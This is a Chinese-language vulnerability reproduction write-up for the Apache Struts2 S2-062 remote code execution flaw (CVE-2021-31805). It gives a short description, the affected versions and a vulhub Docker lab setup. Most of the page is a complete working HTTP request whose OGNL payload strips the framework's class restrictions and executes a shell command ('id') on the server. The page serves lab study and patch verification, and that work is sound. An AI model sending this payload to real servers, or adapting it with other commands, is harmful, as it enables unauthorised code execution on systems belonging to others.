Skip to content

Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805

漏洞描述

该漏洞由于对 CVE-2020-17530 的修复不完整造成的,CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中 x 的值用户可控时,用户再传入一个 %{payload} 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行,导致远程代码执行。

漏洞影响

Struts 2.0.0 - Struts 2.5.29

环境搭建

docker-compose.yml

version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "8080:8080"

环境启动后,访问 http://your-ip:8080/index.action 查看到首页。

漏洞复现

发送请求包

php
POST / HTTP/1.1
Host: your-ip:8080
Content-Length: 829
Origin: http://your-ip:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Referer: http://your-ip:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en

------WebKitFormBoundary1OyBby784sBXbcK9
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary1OyBby784sBXbcK9--